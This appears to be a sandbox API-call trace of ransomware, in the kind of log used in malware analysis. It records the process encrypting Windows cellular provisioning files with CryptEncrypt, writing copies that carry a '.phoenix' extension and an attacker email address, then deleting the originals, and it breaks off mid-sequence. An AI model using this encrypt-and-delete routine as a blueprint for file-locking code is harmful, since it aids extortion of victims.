	[0255.009] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0255.010] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=714) returned 1
	[0255.010] CloseHandle (hObject=0x2c8) returned 1
	[0255.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.010] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0255.010] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.010] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.010] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0255.011] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0255.011] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.011] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ca, lpOverlapped=0x0) returned 1
	[0255.015] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.015] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.016] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0255.016] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.016] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.016] CryptDestroyKey (hKey=0x151600) returned 1
	[0255.017] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.017] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.017] CloseHandle (hObject=0x2c8) returned 1
	[0255.017] CloseHandle (hObject=0x2d8) returned 1
	[0255.017] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.018] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.018] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0255.019] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0255.019] CloseHandle (hObject=0x2d8) returned 1
	[0255.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.019] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0255.020] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.020] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.020] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0255.020] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0255.021] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.021] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0255.025] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.025] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.026] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0255.026] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.026] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.026] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.026] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.026] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.026] CloseHandle (hObject=0x2d8) returned 1
	[0255.026] CloseHandle (hObject=0x2c8) returned 1
	[0255.026] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.027] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.027] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0255.028] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0255.028] CloseHandle (hObject=0x2c8) returned 1
	[0255.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0255.029] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.029] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.029] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0255.029] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0255.029] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.030] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0255.200] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.200] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.201] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0255.201] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.201] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.201] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.201] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.201] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.201] CloseHandle (hObject=0x2c8) returned 1
	[0255.201] CloseHandle (hObject=0x2d8) returned 1
	[0255.202] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.204] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.204] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.205] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=831) returned 1
	[0255.205] CloseHandle (hObject=0x2d0) returned 1
	[0255.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.205] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.205] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.206] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.206] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.207] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0255.207] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.207] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x33f, lpOverlapped=0x0) returned 1
	[0255.208] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x340, dwBufLen=0x340 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x340) returned 1
	[0255.208] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x340, lpOverlapped=0x0) returned 1
	[0255.209] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0255.209] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.209] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.209] CryptDestroyKey (hKey=0x151600) returned 1
	[0255.209] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.210] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.210] CloseHandle (hObject=0x2d0) returned 1
	[0255.210] CloseHandle (hObject=0x2c0) returned 1
	[0255.210] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.211] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.211] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.212] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=700) returned 1
	[0255.212] CloseHandle (hObject=0x2c0) returned 1
	[0255.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.212] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\590__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\590__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.212] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
